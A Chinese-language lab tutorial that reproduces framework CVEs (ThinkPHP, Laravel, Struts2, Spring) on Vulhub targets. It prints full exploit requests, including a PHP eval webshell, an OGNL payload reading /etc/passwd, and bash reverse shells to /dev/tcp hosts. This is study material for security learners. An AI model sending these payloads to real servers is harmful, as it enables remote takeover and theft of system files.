第62天:服务攻防-框架安全CVE 复现SpringStrutsLaravelThinkPHP

目录

思维导图

常见语言开发框架:

案例一:PHP-开发框架安全-Thinkphp&Laravel

Thinkphp3.2.x日志泄露

自动化脚本检测

如何getshell

手工注入

​ThinkPHP5 5.0.23

手工注入

工具检测

laravel-cve_2021_3129

案例二:JAVAWEB-开发框架安全-Spring&Struts2

strust2 CVE-2020-17530

cve_2021_31805

spring框架

CVE-2017-4971

CVE-2018-1273

CVE-2022-22963


思维导图

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等

框架就是别人写好的成品,例如:文件上传(内置过滤)

案例一:PHP-开发框架安全-Thinkphp&Laravel

如何检测是否是thinkphp开发的?

1. 利用工具wappalyzer,但不一定能检测出来

2.查看返回包

Thinkphp3.2.x日志泄露

thinkphp的默认日志路径为

开启debug模式日志保存在:\Application\Runtime\Logs\Home\未开启debug模式日志保存在:\Application\Runtime\Logs\Common\

上传代码到服务器上

上传恶意代码到服务器上,需包含其文件相对或绝对路径/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]

模块 (m): Home

控制器 (c): Index

动作 (a): index

请求参数:

  • value[_filename] = ./Application/Runtime/Logs/Home/24_04_16.log

含义:

此 URL 表示对 Home 模块下的 Index 控制器中的 index 动作发出的请求,并指定了一个名为 value[_filename] 的请求参数,其值为一个文件路径。此文件路径指向一个日志文件,该日志文件存储在应用程序的 Runtime 目录下的 Logs/Home 子目录中,其名称为 24_04_16.log。

靶场环境:

自动化脚本检测

脚本下载地址:

链接:https://pan.baidu.com/s/1goi2IBZaJwRWe2qCLO37ig?pwd=bxsi
提取码:bxsi

点击命令执行,会出现一个日志地址

访问该地址,查看源代码

如何getshell

请求地址的时候会写入日志文件

?m=Home&c=Index&a=index&value[_filename]=./<?php eval($_REQUEST['a']);?>

日志文件的地址

?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/24_04_16.log

蚁剑测试连接

手工注入

参考文献:【漏洞通报】ThinkPHP3.2.x RCE漏洞通报

抓包3306端口页面,payload

/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

访问日志文件

ThinkPHP5 5.0.23

靶场位置:Vulhub - Docker-Compose file for vulnerability environment

手工注入

抓包发送到repeater,修改包信息如下

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

复现

获取phpinfo()

getshell,payload

echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pPz4=" | base64 -d > a.php

如果直接传一句话木马的话会被转义

需要先把语句进行base64编码  再用管道符进行base64 -d 解码

格式变了

蚁剑连接

工具检测

命令执行

反弹shell

蚁剑连接

laravel-cve_2021_3129

靶场环境:

插件检测

寻找脚本的思路

发现报过该漏洞,去git上直接搜版本号

脚本:https://github.com/zhzyker/CVE-2021-3129

利用,貌似不能getshell

发现不能getshell直接换个脚本

案例二:JAVAWEB-开发框架安全-Spring&Struts2

strust2:是一个基于 MVC 设计模式的 Web 应用框架

如何判断用的是strust2,如果后缀是action

20年以前的漏洞都可以直接利用工具利用

工具直接利用

 知道版本后直接替换,就可以利用执行命令

换一个漏洞也可以直接利用

strust2 CVE-2020-17530

脚本地址:https://github.com/wuzuowei/CVE-2020-17530

命令执行

 getshell

raw_input 为python2的模块,这里反弹shell要用到公网ip,用vulhub搭建一个本地环境

靶场地址:Vulhub - Docker-Compose file for vulnerability environment

利用脚本成功getshell

cve_2021_31805

这里靶场还用的上一个靶场

脚本地址:https://github.com/pyroxenites/s2-062

手工测试payload

POST /index.action HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

 测试

反弹shell

spring框架

spring本身漏洞不多,大部分漏洞都在他的一些分支上

CVE-2017-4971

靶场环境:https://vulhub.org/#/environments/spring/CVE-2017-4971/

访问以后先登录,然后输入账号密码

点击访问id为1的酒店然后预定

点击确认的时候进行抓包

payload包

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

直接发送过去不会反弹shell,原因是由于url编码会导致有些空格等不会识别

进行转码

编码以后成功getshell

CVE-2018-1273

靶场位置:https://vulhub.org/#/environments/spring/CVE-2018-1273/

靶场页面中spring的一些标识

访问user页面输入数据抓包

payload

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

修改命令为

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}

未url编码之前不能够反弹shell

编码以后

修改编码以后,并且将connection变为keep-alive成功反弹shell

CVE-2022-22963

靶场环境:Vulhub - Docker-Compose file for vulnerability environment


访问页面

抓包发送到repeater修改数据包,payload包如下

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4test

 修改命令为反弹shell的命令

这里由于是请求头的原因,就算content-type为url编码格式,也不影响

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/1340.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pytorch与深度学习

ChatGPT PyTorch是一个由Facebook AI Research Team开发的开源深度学习库&#xff0c;它提供了一个灵活的环境和丰富的API&#xff0c;用于快速且方便地构建、训练和部署深度学习模型。PyTorch在科学界和工业界都收到了广泛的使用&#xff0c;其中包括了学术研究、小型项目和大…

Chrome修改主题颜色

注意&#xff1a;自定义Chrome按钮只在搜索引擎为Google的时候出现。

如何30天快速掌握键盘盲打

失业后在家备考公务员&#xff0c;发现了自己不正确的打字方式&#xff0c;决定每天抽出一点时间练习打字。在抖音上看到一些高手的飞速盲打键盘后&#xff0c;觉得使用正确的指法打字是很必要的。 练习打字&#xff0c;掌握正确的键盘指法十分关键。 练习打字的第一步是找到…

关于电商独立站搭建中电商API数据采集接口的应用

搭建供应链系统时&#xff0c;您可能需要与电商平台进行集成&#xff0c;以实现订单管理、库存同步、物流跟踪等功能。以下是一些常见的电商接口&#xff0c;可以帮助您构建供应链系统&#xff1a; 1. **淘宝开放平台接口**&#xff1a;淘宝开放平台提供了丰富的接口&#xff…

AI System AI系统对大模型的影响有多深?

AI System AI系统对大模型的影响有多深&#xff1f;要回答这个问题之前&#xff0c;不妨从下面这个问题开始入手思考。 大模型进入了爆发期后&#xff0c;在 LLM 进化树中&#xff0c;BERT&#xff08;Encoder-Only&#xff09;、T5&#xff08;Encoder-Decoder&#xff09;、…

社交创新的标杆:解读Facebook的社交模式

引言 在当今数字化时代&#xff0c;社交媒体已成为人们日常生活和沟通的重要工具。作为全球最大的社交媒体平台&#xff0c;Facebook不仅改变了我们的社交模式&#xff0c;而且对全球的社交文化、商业活动和公共事务产生了深远的影响。本文将深入探讨Facebook的社交模式&#…

C++:面向对象三大特性之一:继承

继承 1.继承理解2.继承方式引起访问变化表格表格理解 3.赋值转换1.普通对象赋值2.继承对象赋值&#xff1a;赋值转换注意 4.继承的作用域5.派生类默认成员函数1.构造函数2.析构函数3.拷贝构造4.赋值重载 6.继承与友元7.继承与静态成员 1.继承理解 继承机制是面向对象程序设计使…

求a+aa+aaa+……(C语言)

一、题目&#xff1b; 二、N-S流程图&#xff1b; 三、运行结果&#xff1b; 四、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>int main() {//初始化变量值&#xff1b;int a 0;int n 0;int i 0;int result 0;int tn 0;//提示用户&am…

spring事务@Transactional

定义一个项目测试 spring 的事务支持情况 项目准备 创建一个名为 mybatis-transaction 的 spring boot 2.x 项目&#xff0c;引入 mybatis 的依赖&#xff0c;如下 使用 spring 官网的脚手架生成项目 https://start.spring.io/ 下载完毕后 pom.xml 如下 <?xml version&quo…

【GPTs分享】GPTs分享之 AskYourPDF Research Assistant​

一、简介 AskYourPDF Research Assistant 是一款高级人工智能研究助手&#xff0c;专门设计用于帮助用户高效从PDF文件和文章中提取信息。它结合了深度学习技术和自然语言处理能力&#xff0c;以便用户能够快速地查询、总结及处理文档内容&#xff0c;并能够生成与文章内容相关…

Redux入门:使用@reduxjs/toolkit构建React应用程序状态管理

随着应用程序复杂性的增加,有效管理应用程序状态变得越来越重要。Redux是一种流行的状态管理解决方案,随着应用程序复杂性的增加,有效管理应用程序状态变得越来越重要。Redux是一种流行的状态管理解决方案,但传统的Redux设置和使用过程比较繁琐。幸运的是,Redux官方团队推出了r…

Nginx防盗链:资源保护新利器,拒绝盗链行为!

点击下方关注我&#xff0c;然后右上角点击...“设为星标”&#xff0c;就能第一时间收到更新推送啦~~~ Nginx防盗链是一种安全机制&#xff0c;用于防止其他网站直接链接到你的网站上的资源&#xff08;如图片、视频、文件等&#xff09;&#xff0c;从而避免不必要的带宽消耗…

P1278 单词游戏 简单搜索+玄学优化

单词游戏 传送门 题目描述 Io 和 Ao 在玩一个单词游戏。 他们轮流说出一个仅包含元音字母的单词&#xff0c;并且后一个单词的第一个字母必须与前一个单词的最后一个字母一致。 游戏可以从任何一个单词开始。 任何单词禁止说两遍&#xff0c;游戏中只能使用给定词典中含有…

Linux 操作系统指令和Vscdoe安装

1、Linux系统介绍 Linux系统的背景介绍我就不介绍了&#xff0c;有兴趣的可以去看看其发展史。 1.1 Linux操作系统的主要特点 Linux操作系统的重要思想&#xff1a;一切皆文件 Linux操作系统的特性&#xff1a; 完全免费 支持多平台 支持多用户、多任务 有良好的界面 完美兼容…

温湿度LCD显示并上传服务器

项目需求 通过温湿度传感器将值传到LCD1602&#xff0c;并实时通过蓝牙透传到手机。 硬件介绍 温湿度传感器 DHT11温湿度传感器 DHT11_温湿度传感器数据格式-CSDN博客 LCD1602LCD1602-CSDN博客 HC-01 继电器模块 硬件接线 LCD1602 D0~D7 --> A0~A7VDD, A --> 5v…

STM32H750外设ADC之双重 ADC 模式

目录 概述 1 双重 ADC 模式介绍 1.1 双重 ADC模式 1.2 双重 ADC 模式的类型 2 双重 ADC 模式寄存器的配置 3 模式功能实现 3.1 注入同步模式 3.2 支持独立注入的常规同步模式 3.2.1 中断的方式 3.2.2 DMA 读取常规数据 3.3 支持独立注入的交替模式 3.3.1 中断触发…

色彩的魔力:渐变色在设计中的无限可能性

夕阳&#xff0c;天空&#xff0c;湖面&#xff0c;夕阳...随着距离和光影的变化&#xff0c;颜色的渐变色&#xff0c;近大远小、近实远虚的透视&#xff0c;为大自然营造了浪漫的氛围。延伸到UI/UX设计领域&#xff0c;这种现实、惊艳、独特的渐变色也深受众多设计师的喜爱。…

setmapAVL树红黑树

目录 关联式容器树形结构的关联式容器setset的模板参数列表set的构造函数set的迭代器set的容量操作set其他操作 multisetmap键值对map的模板参数列表map的迭代器map中元素的修改map的容量与元素访问 multimap底层结构avl树avl树概念AVL树结点的定义AVL树的插入AVL树的旋转AVL树…

python-flask结合bootstrap实现网页小工具实例-半小时速通版

参考&#xff1a; Python之flask结合Bootstrap框架快速搭建Web应用_支持bootstrap的python软件-CSDN博客 https://blog.csdn.net/lovedingd/article/details/106696832 Bootstrap 警告框 | 菜鸟教程 https://www.runoob.com/bootstrap/bootstrap-alert-plugin.html flask框架…

数据结构——7.3 树形查找

7.3 树形查找 概念 二叉排序树&#xff08;BST&#xff09; 二叉排序树&#xff08;Binary Sort Tree&#xff0c;BST&#xff09;&#xff0c;又称为二叉查找&#xff08;搜索&#xff09;树&#xff08;Binary Search Tree&#xff09;&#xff0c;是一种特殊的二叉树&am…